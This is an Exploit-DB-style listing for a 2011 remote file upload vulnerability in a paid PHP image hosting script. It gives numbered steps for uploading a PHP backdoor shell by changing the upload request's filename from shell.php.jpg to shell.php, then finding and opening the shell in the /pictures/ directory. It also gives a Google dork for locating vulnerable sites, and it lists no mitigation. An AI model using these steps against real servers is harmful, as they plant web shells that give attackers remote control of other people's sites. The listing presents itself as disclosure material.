Free Image Hosting Script Remote File Upload Vulnerability

vendor:

Free Image Hosting Script

by:

ySecurity

N/A

CVSS

N/A

Remote File Upload

N/A

CWE

Product Name: Free Image Hosting Script

Affected Version From: All versions

Affected Version To: All versions

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7

2011

Free Image Hosting Script Remote File Upload Vulnerability

This exploit allows hackers to upload a PHP backdoor into "/pictures/" directory via the use of Live HTTP Headers (Firefox Addon). Tools Needed: Live HTTP Headers, Backdoor Shell. Step 1: Locate upload form on index page. Step 2: Rename your shell to shell.php.jpg and start capturing data with Live HTTP Headers. Step 3: Enter tags for the image (can be anything). Step 4: Replay data with Live HTTP Headers - Step 5: Change [Content-Disposition: form-data; name="image1"; filename="shell.php.jpg"rn] to [Content-Disposition: form-data; name="image1"; filename="shell.php"rn]. Step 6: Locate pictures directory: www.site.tld/imagehostingscript/pictures/ (usually). Step 7: Find PHP file (random digits.php) = should look like (321879194bc8ff2843bf7b63a666f665.php). Step 8: Navigate to backdoor = www.site.tld/imagehostingscript/pictures/321879194bc8ff2843bf7b63a666f665.php

Mitigation:

N/A

Source

Exploit-DB raw data:

============================================
Free Image Hosting Script Remote File Upload Vulnerability
============================================
# Exploit Title: Free Image Hosting Script [ALL VERSIONS] Remote File
Upload Vulnerability
# Date: 26/12/11
# Author: ySecurity
# Vendor or Software Link: http://www.photohostingscript.com
# Price: $29.99
# Version: All versions effected
# Category:: Remote File Upload
# Google dork: inurl:"show-image.php?id="
# Tested on: Windows 7
# Vendor HAS been notified.
########################################################################################

NOTE: You will ONLY be able to find your shell if the "/pictures"
directory and if the directory is not forbidden.

This exploit allows hackers to upload a PHP backdoor into "/pictures/"
directory via the use of Live HTTP Headers (Firefox Addon)

[Vulnerability]

Tools Needed: Live HTTP Headers, Backdoor Shell

Step 1: Locate upload form on index page.
Step 2: Rename your shell to shell.php.jpg and start capturing data with
Live HTTP Headers
Step 3: Enter tags for the image (can be anything)
Step 4: Replay data with Live HTTP Headers -
Step 5: Change [Content-Disposition: form-data; name="image1";
filename="shell.php.jpg"\r\n] to [Content-Disposition: form-data;
name="image1"; filename="shell.php"\r\n]
Step 6: Locate pictures directory:
www.site.tld/imagehostingscript/pictures/ (usually)
Step 7: Find PHP file (random digits.php) = should look like
(321879194bc8ff2843bf7b63a666f665.php)
Step 8: Navigate to backdoor =
www.site.tld/imagehostingscript/pictures/321879194bc8ff2843bf7b63a666f665.php


########################################################################################

Greets to: Team Intra

Submitted ethically, after disclosure.